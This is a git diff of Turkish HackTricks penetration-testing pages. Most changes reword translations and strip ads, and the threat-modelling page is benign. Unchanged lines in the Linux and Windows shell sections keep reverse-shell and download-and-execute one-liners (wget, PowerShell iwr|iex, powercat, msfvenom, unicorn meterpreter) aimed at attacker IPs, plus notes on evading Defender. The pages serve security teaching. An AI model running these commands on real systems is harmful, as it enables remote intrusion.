Eğer `eval` veya `exec` erişiminiz yoksa, bir **uygun fonksiyon** oluşturabilirsiniz, ancak doğrudan çağırmak genellikle şu hata ile sonuçlanacaktır: _constructor restricted modda erişilebilir değil_. Bu nedenle, bu fonksiyonu çağırmak için **kısıtlı ortamda olmayan bir fonksiyona** ihtiyacınız var. Eğer `eval` veya `exec` erişiminiz yoksa, **uygun bir fonksiyon** oluşturabilirsiniz, ancak doğrudan çağırmak genellikle şu hata ile sonuçlanacaktır: _constructor restricted modda erişilebilir değil_. Bu nedenle, bu fonksiyonu çağırmak için **restricted ortamda olmayan bir fonksiyona** ihtiyacınız var.
```python ```python
#Compile a regular print #Compile a regular print
ftype = type(lambda: None) ftype = type(lambda: None)
@ -1039,11 +1031,6 @@ bypass edilecektir
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html) * [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) * [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -1054,7 +1041,7 @@ GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -15,15 +15,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group** **Bu shell'ler hakkında sorularınız varsa** [**https://explainshell.com/**](https://explainshell.com) **adresinden kontrol edebilirsiniz.**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
**Bu shell'ler hakkında sorularınız varsa** [**https://explainshell.com/**](https://explainshell.com) **ile kontrol edebilirsiniz.**
## Full TTY ## Full TTY
@ -68,11 +60,11 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
``` ```
## Forward Shell ## Forward Shell
Bir **Remote Code Execution (RCE)** zafiyeti ile bir Linux tabanlı web uygulamasıyla uğraşırken, ters bir shell elde etmek, iptables kuralları veya karmaşık paket filtreleme mekanizmaları gibi ağ savunmaları tarafından engellenebilir. Böyle kısıtlı ortamlarda, ele geçirilmiş sistemle daha etkili bir şekilde etkileşim kurmak için bir PTY (Pseudo Terminal) shell oluşturmak alternatif bir yaklaşım olarak öne çıkmaktadır. Bir **Remote Code Execution (RCE)** zafiyeti ile bir Linux tabanlı web uygulamasıyla uğraşırken, ters bir shell elde etmek, iptables kuralları veya karmaşık paket filtreleme mekanizmaları gibi ağ savunmaları tarafından engellenebilir. Böyle kısıtlı ortamlarda, alternatif bir yaklaşım, ele geçirilmiş sistemle daha etkili bir şekilde etkileşim kurmak için bir PTY (Pseudo Terminal) shell kurmaktır.
Bu amaç için önerilen bir araç [toboggan](https://github.com/n3rada/toboggan.git) olup, hedef ortamla etkileşimi basitleştirir. Bu amaç için önerilen bir araç [toboggan](https://github.com/n3rada/toboggan.git) olup, hedef ortamla etkileşimi basitleştirir.
Toboggan'ı etkili bir şekilde kullanmak için, hedef sisteminizin RCE bağlamına uygun bir Python modülü oluşturun. Örneğin, `nix.py` adında bir modül aşağıdaki gibi yapılandırılabilir: Toboggan'ı etkili bir şekilde kullanmak için, hedef sisteminizin RCE bağlamına uygun bir Python modülü oluşturun. Örneğin, `nix.py` adında bir modül şu şekilde yapılandırılabilir:
```python3 ```python3
import jwt import jwt
import httpx import httpx
@ -340,12 +332,6 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/) * [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
**Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,18 +15,10 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Lolbas ## Lolbas
Sayfa [lolbas-project.github.io](https://lolbas-project.github.io/) Windows için, [https://gtfobins.github.io/](https://gtfobins.github.io/) ise Linux içindir.\ Sayfa [lolbas-project.github.io](https://lolbas-project.github.io/) Windows için, [https://gtfobins.github.io/](https://gtfobins.github.io/) ise linux için.\
ıkça, **Windows'ta SUID dosyaları veya sudo ayrıcalıkları yoktur**, ancak bazı **ikili dosyaların** nasıl (kötüye) kullanılabileceğini bilmek faydalıdır, böylece bazı beklenmedik eylemleri gerçekleştirmek için **rastgele kod çalıştırma** gibi. ıkça, **Windows'ta SUID dosyaları veya sudo ayrıcalıkları yoktur**, ancak bazı **ikili dosyaların** nasıl (kötüye) kullanılabileceğini bilmek faydalıdır, böylece **rastgele kod çalıştırmak** gibi beklenmedik eylemler gerçekleştirebiliriz.
## NC ## NC
```bash ```bash
@ -297,7 +289,7 @@ powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0
```bash ```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
``` ```
**Defansör tarafından tespit edildi** **Defans tarafından tespit edildi**
## PS-Bat ## PS-Bat
```bash ```bash
@ -403,7 +395,7 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
``` ```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
``` ```
Bir web sunucusunda scripti çalıştırmaya başlayın ve bunu kurbanın tarafında yürütün: Bir web sunucusunda scripti çalıştırmaya başlayın ve kurbanın tarafında yürütün:
``` ```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
``` ```
@ -421,9 +413,9 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c
``` ```
Defender bunu kötü niyetli kod olarak tespit etmiyor (henüz, 3/04/2019). Defender bunu kötü niyetli kod olarak tespit etmiyor (henüz, 3/04/2019).
**Powercat tarafından sunulan diğer seçenekler:** **powercat tarafından sunulan diğer seçenekler:**
Bind shell, Ters shell (TCP, UDP, DNS), Port yönlendirme, yükleme/indirme, Payload oluşturma, Dosya sunma... Bind shell'ler, Ters shell (TCP, UDP, DNS), Port yönlendirme, yükleme/indirme, Payload oluşturma, Dosya sunma...
``` ```
Serve a cmd Shell: Serve a cmd Shell:
powercat -l -p 443 -e cmd powercat -l -p 443 -e cmd
@ -458,7 +450,7 @@ Unicorn kullanarak metasploit arka kapısının bir powershell versiyonunu oluş
``` ```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
``` ```
Oluşturulan kaynak ile msfconsole'ı başlatın: msfconsole'ı oluşturulan kaynak ile başlatın:
``` ```
msfconsole -r unicorn.rc msfconsole -r unicorn.rc
``` ```
@ -483,12 +475,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) bazı saldırgan PS modülleri
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/) * [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) * [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -499,8 +486,8 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.** * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,62 +1,48 @@
# Tehdit Modelleme # Tehdit Modelleme
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılım saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Tehdit Modelleme ## Tehdit Modelleme
Tehdit Modelleme konusunda HackTricks'in kapsamlı kılavuzuna hoş geldiniz! Bu kritik siber güvenlik yönünü keşfetmeye başlayın, burada bir sistemin potansiyel zayıflıklarını tanımlayarak, anlayarak ve stratejik bir şekilde karşı önlemler alarak mücadele ediyoruz. Bu konu, gerçek dünya örnekleri, yardımcı yazılımlar ve anlaşılması kolay açıklamalarla dolu adım adım bir rehber olarak hizmet vermektedir. Hem acemiler hem de deneyimli uygulayıcılar için idealdir ve siber güvenlik savunmalarını güçlendirmeyi amaçlar. HackTricks'in Tehdit Modelleme üzerine kapsamlı kılavuzuna hoş geldiniz! Bu kritik siber güvenlik alanını keşfetmeye başlayın; burada bir sistemdeki potansiyel zayıflıkları tanımlıyor, anlıyor ve bunlara karşı stratejiler geliştiriyoruz. Bu konu, gerçek dünya örnekleri, yararlı yazılımlar ve kolay anlaşılır açıklamalarla dolu adım adım bir kılavuz olarak hizmet vermektedir. Hem acemiler hem de siber güvenlik savunmalarını güçlendirmek isteyen deneyimli uygulayıcılar için idealdir.
### Sıkça Kullanılan Senaryolar ### Yaygın Olarak Kullanılan Senaryolar
1. **Yazılım Geliştirme**: Güvenli Yazılım Geliştirme Yaşam Döngüsü (SSDLC) parçası olarak, tehdit modelleme, geliştirme aşamalarının erken aşamalarında **potansiyel zayıflık kaynaklarını belirlemede** yardımcı olur. 1. **Yazılım Geliştirme**: Güvenli Yazılım Geliştirme Yaşam Döngüsü (SSDLC) kapsamında, tehdit modelleme, geliştirme sürecinin erken aşamalarında **potansiyel zayıflık kaynaklarını tanımlamaya** yardımcı olur.
2. **Sızma Testi**: Sızma Testi Yürütme Standartı (PTES) çerçevesi, testi gerçekleştirmeden önce sistemin zayıflıklarını anlamak için tehdit modellemeyi gerektirir. 2. **Penetrasyon Testi**: Penetrasyon Testi Uygulama Standardı (PTES) çerçevesi, testi gerçekleştirmeden önce **sistemin zayıflıklarını anlamak için tehdit modellemesi** gerektirir.
### Tehdit Modeli Özeti ### Tehdit Modeli Kısaca
Bir Tehdit Modeli genellikle bir diyagram, resim veya uygulamanın planlanmış mimarisini veya mevcut yapısını gösteren görsel bir temsil olarak sunulur. Bu genellikle bir **veri akış diyagramına** benzer, ancak ana farkı güvenlik odaklı tasarımında yatar. Bir Tehdit Modeli genellikle bir diyagram, resim veya bir uygulamanın planlanan mimarisini veya mevcut yapısını gösteren başka bir görsel illüstrasyon olarak temsil edilir. Bu, bir **veri akış diyagramı** ile benzerlik gösterir, ancak ana farkı güvenlik odaklı tasarımıdır.
Tehdit modelleri genellikle potansiyel zayıflıkları, riskleri veya engelleri simgeleyen kırmızı işaretli unsurları içerir. Risk tanımlama sürecini kolaylaştırmak için, CIA (Gizlilik, Bütünlük, Erişilebilirlik) üçlüsü kullanılır ve birçok tehdit modelleme metodolojisinin temelini oluşturur; STRIDE en yaygın olanlarından biridir. Ancak, seçilen metodoloji, belirli bağlama ve gereksinimlere bağlı olarak değişebilir. Tehdit modelleri genellikle potansiyel zayıflıkları, riskleri veya engelleri simgeleyen kırmızı ile işaretlenmiş unsurlar içerir. Risk tanımlama sürecini kolaylaştırmak için CIA (Gizlilik, Bütünlük, Erişilebilirlik) üçlüsü kullanılır ve bu, birçok tehdit modelleme metodolojisinin temelini oluşturur; STRIDE en yaygın olanlardan biridir. Ancak, seçilen metodoloji belirli bağlama ve gereksinimlere bağlı olarak değişebilir.
### CIA Üçlüsü ### CIA Üçlüsü
CIA Üçlüsü, bilgi güvenliği alanında geniş kabul gören bir modeldir ve Gizlilik, Bütünlük ve Erişilebilirlik anlamına gelir. Bu üç ilke, tehdit modelleme metodolojileri de dahil olmak üzere birçok güvenlik önleminin ve politikasının temelini oluşturur. CIA Üçlüsü, bilgi güvenliği alanında yaygın olarak tanınan bir modeldir ve Gizlilik, Bütünlük ve Erişilebilirlik anlamına gelir. Bu üç sütun, birçok güvenlik önlemi ve politikasının temelini oluşturur, bunlar arasında tehdit modelleme metodolojileri de bulunmaktadır.
1. **Gizlilik**: Verinin veya sistemin yetkisiz kişiler tarafından erişilmediğinden emin olma. Bu, veri ihlallerini önlemek için uygun erişim kontrolleri, şifreleme ve diğer önlemleri gerektiren güvenliğin merkezi bir yönüdür. 1. **Gizlilik**: Verilerin veya sistemin yetkisiz kişiler tarafından erişilmemesini sağlamak. Bu, veri ihlallerini önlemek için uygun erişim kontrolleri, şifreleme ve diğer önlemleri gerektiren güvenliğin merkezi bir yönüdür.
2. **Bütünlük**: Verinin yaşam döngüsü boyunca doğruluğu, tutarlılığı ve güvenilirliği. Bu ilke, verinin yetkisiz kişiler tarafından değiştirilmediğinden veya bozulmadığından emin olur. Genellikle, toplam kontrol, karma ve diğer veri doğrulama yöntemlerini içerir. 2. **Bütünlük**: Verilerin yaşam döngüsü boyunca doğruluğu, tutarlılığı ve güvenilirliği. Bu ilke, verilerin yetkisiz taraflarca değiştirilmediğini veya müdahale edilmediğini garanti eder. Genellikle kontrol toplamları, hashleme ve diğer veri doğrulama yöntemlerini içerir.
3. **Erişilebilirlik**: Veri ve hizmetlerin yetkili kullanıcılar tarafından ihtiyaç duyulduğunda erişilebilir olmasını sağlar. Bu genellikle sistemlerin kesintilere karşı çalışmasını sağlamak için yedeklilik, hata toleransı ve yüksek erişilebilirlik yapılandırmalarını içerir. 3. **Erişilebilirlik**: Bu, verilerin ve hizmetlerin gerektiğinde yetkili kullanıcılar tarafından erişilebilir olmasını sağlar. Bu genellikle sistemlerin kesintilere rağmen çalışmaya devam etmesi için yedeklilik, hata toleransı ve yüksek erişilebilirlik yapılandırmalarını içerir.
### Tehdit Modelleme Metodolojileri ### Tehdit Modelleme Metodolojileri
1. **STRIDE**: Microsoft tarafından geliştirilen STRIDE, **Sahtecilik, Bozulma, Reddiye, Bilgi Açıklaması, Hizmet Reddi ve Ayrıcalık Yükseltme** anlamına gelen bir kısaltmadır. Her kategori bir tehdit türünü temsil eder ve bu metodoloji, potansiyel tehditleri belirlemek için bir programın veya sistemin tasarım aşamasında yaygın olarak kullanılır. 1. **STRIDE**: Microsoft tarafından geliştirilen STRIDE, **Sahtecilik, Müdahale, Reddetme, Bilgi Sızdırma, Hizmet Reddi ve Yetki Yükseltme** için bir kısaltmadır. Her kategori bir tehdit türünü temsil eder ve bu metodoloji, potansiyel tehditleri tanımlamak için bir program veya sistemin tasarım aşamasında yaygın olarak kullanılır.
2. **DREAD**: Bu, Microsoft'un tanımlanan tehditlerin risk değerlendirmesi için kullandığı başka bir metodolojidir. DREAD, **Hasar Potansiyeli, Tekrarlanabilirlik, Sömürülebilirlik, Etkilenen Kullanıcılar ve Keşfedilebilirlik** anlamına gelir. Bu faktörlerin her biri puanlanır ve sonuç, belirlenen tehditleri önceliklendirmek için kullanılır. 2. **DREAD**: Bu, tanımlanan tehditlerin risk değerlendirmesi için kullanılan başka bir Microsoft metodolojisidir. DREAD, **Zarar Potansiyeli, Yeniden Üretilebilirlik, Sömürülebilirlik, Etkilenen Kullanıcılar ve Keşfedilebilirlik** anlamına gelir. Bu faktörlerin her biri puanlanır ve sonuç, tanımlanan tehditlerin önceliklendirilmesinde kullanılır.
3. **PASTA** (Saldırı Simülasyonu ve Tehdit Analizi İçin Süreç): Bu, yedi adımlı, **risk-odaklı** bir metodolojidir. Güvenlik hedeflerini tanımlama ve belirleme, teknik kapsam oluşturma, uygulama ayrıştırma, tehdit analizi, zayıflık analizi ve risk/değerlendirme değerlendirmesini içerir. 3. **PASTA** (Saldırı Simülasyonu ve Tehdit Analizi Süreci): Bu, yedi adımlı, **risk merkezli** bir metodolojidir. Güvenlik hedeflerini tanımlama ve belirleme, teknik kapsam oluşturma, uygulama ayrıştırma, tehdit analizi, zayıflık analizi ve risk/triage değerlendirmesini içerir.
4. **Trike**: Bu, varlıkları savunmaya odaklanan bir risk tabanlı metodolojidir. Risk yönetimi perspektifinden başlar ve tehditlere ve zayıflıklara bu bağlamda bakar. 4. **Trike**: Bu, varlıkları savunmaya odaklanan bir risk temelli metodolojidir. **Risk yönetimi** perspektifinden başlar ve tehditler ile zayıflıkları bu bağlamda inceler.
5. **VAST** (Görsel, Çevik ve Basit Tehdit Modelleme): Bu yaklaşım, daha erişilebilir olmayı amaçlar ve Agile geliştirme ortamlarına entegre olur. Diğer metodolojilerden unsurları birleştirir ve **tehditlerin görsel temsillerine** odaklanır. 5. **VAST** (Görsel, Çevik ve Basit Tehdit Modelleme): Bu yaklaşım, daha erişilebilir olmayı hedefler ve Çevik geliştirme ortamlarına entegre olur. Diğer metodolojilerden unsurlar birleştirir ve **tehditlerin görsel temsillerine** odaklanır.
6. **OCTAVE** (Operasyonel Kritik Tehdit, Varlık ve Zayıflık Değerlendirmesi): CERT Koordinasyon Merkezi tarafından geliştirilen bu çerçeve, **örgütsel risk değerlendirmesine** odaklanır, belirli sistemler veya yazılımlar yerine. 6. **OCTAVE** (Operasyonel Kritik Tehdit, Varlık ve Zayıflık Değerlendirmesi): CERT Koordinasyon Merkezi tarafından geliştirilen bu çerçeve, **belirli sistemler veya yazılımlar yerine kurumsal risk değerlendirmesine** yöneliktir.
## Araçlar ## Araçlar
Tehdit modellerinin oluşturulması ve yönetilmesine yardımcı olabilecek birkaç araç ve yazılım çözümü mevcuttur. Düşünebileceğiniz birkaç tanesi şunlardır. Tehdit modellerinin oluşturulması ve yönetilmesi konusunda **yardımcı** olabilecek birkaç araç ve yazılım çözümü mevcuttur. İşte göz önünde bulundurabileceğiniz bazıları.
### [SpiderSuite](https://github.com/3nock/SpiderSuite) ### [SpiderSuite](https://github.com/3nock/SpiderSuite)
Siber güvenlik uzmanları için gelişmiş çapraz platform ve çok özellikli GUI web örümcek/tarama aracı. Spider Suite, saldırı yüzeyi haritalama ve analizi için kullanılabilir. Siber güvenlik profesyonelleri için gelişmiş, çok platformlu ve çok özellikli bir GUI web örümceği/kraker. Spider Suite, saldırı yüzeyi haritalama ve analiz için kullanılabilir.
**Kullanım** **Kullanım**
1. Bir URL seçin ve Tarama Yapın 1. Bir URL Seçin ve Tarayın
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_1.png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/threatmodel_spidersuite_1.png" alt=""><figcaption></figcaption></figure>
@ -66,7 +52,7 @@ Siber güvenlik uzmanları için gelişmiş çapraz platform ve çok özellikli
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases) ### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
OWASP'den açık kaynaklı bir proje olan Threat Dragon, sistem diyagramlamasını ve tehditlerin/önlemlerin otomatik olarak oluşturulmasını sağlayan bir web ve masaüstü uygulamasıdır. OWASP'tan açık kaynak bir proje olan Threat Dragon, sistem diyagramları ile birlikte tehditler/azaltmalar otomatik olarak oluşturmak için bir kural motoru içeren hem web hem de masaüstü uygulamasıdır.
**Kullanım** **Kullanım**
@ -88,49 +74,38 @@ Bazen şöyle görünebilir:
4. Modelinizi Oluşturun 4. Modelinizi Oluşturun
SpiderSuite Tarama gibi araçları kullanarak ilham alabilirsiniz, temel bir model şöyle görünebilir İlham almak için SpiderSuite Crawler gibi araçları kullanabilirsiniz, temel bir model şöyle görünebilir:
<figure><img src="../.gitbook/assets/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
Varlıklar hakkında biraz açıklama: Varlıklar hakkında biraz açıklama:
* İşlem (Web sunucusu veya web işlevi gibi varlık kendisi) * Süreç (Web sunucusu veya web işlevselliği gibi varlık)
* Aktör (Web Sitesi Ziyaretçisi, Kullanıcı veya Yönetici gibi bir Kişi) * Aktör (Bir Web Sitesi Ziyaretçisi, Kullanıcı veya Yönetici gibi bir kişi)
* Veri Akış Hattı (Etkileşimin Göstergesi) * Veri Akış Hattı (Etkileşim Göstergesi)
* Güven Sınırı (Farklı ağ segmentleri veya kapsamlar.) * Güven Sınırı (Farklı ağ segmentleri veya kapsamlar.)
* Depolama (Verilerin depolandığı şeyler, veritabanları gibi) * Depo (Verilerin saklandığı yerler, örneğin Veritabanları)
5. Tehdit Oluşturun (Adım 1) 5. Bir Tehdit Oluşturun (Adım 1)
Önce tehdit eklemek istediğiniz katmanı seçmelisiniz Öncelikle bir tehdidi eklemek istediğiniz katmanı seçmelisiniz.
<figure><img src="../.gitbook/assets/3_threatmodel_chose-threat-layer.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/3_threatmodel_chose-threat-layer.jpg" alt=""><figcaption></figcaption></figure>
Şimdi tehdidi oluşturabilirsiniz Şimdi tehdidi oluşturabilirsiniz.
<figure><img src="../.gitbook/assets/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
Aktör Tehditleri ve İşlem Tehditleri arasında bir fark olduğunu unutmayın. Bir Tehdit eklemek isterseniz, yalnızca "Sahtecilik" ve "Reddiye" seçebileceksiniz. Ancak örneğimizde bir İşlem varlığına bir tehdit eklediğimiz için tehdit oluşturma kutusunda bunu göreceğiz: Aktör Tehditleri ile Süreç Tehditleri arasında bir fark olduğunu unutmayın. Eğer bir Aktöre tehdit eklerseniz, yalnızca "Sahtecilik" ve "Reddetme" seçeneklerini seçebilirsiniz. Ancak örneğimizde bir Süreç varlığına tehdit eklediğimiz için tehdit oluşturma kutusunda bunu göreceğiz:
<figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
6. Tamam 6. Tamam
Artık bitmiş modeliniz bu şekilde görünebilir. Ve işte OWASP Threat Dragon ile basit bir tehdit modeli nasıl oluşturulur. Artık bitmiş modeliniz şöyle görünmelidir. Ve OWASP Threat Dragon ile basit bir tehdit modeli nasıl oluşturulur.
<figure><img src="../.gitbook/assets/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
### [Microsoft Tehdit Modelleme Aracı](https://aka.ms/threatmodelingtool)
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
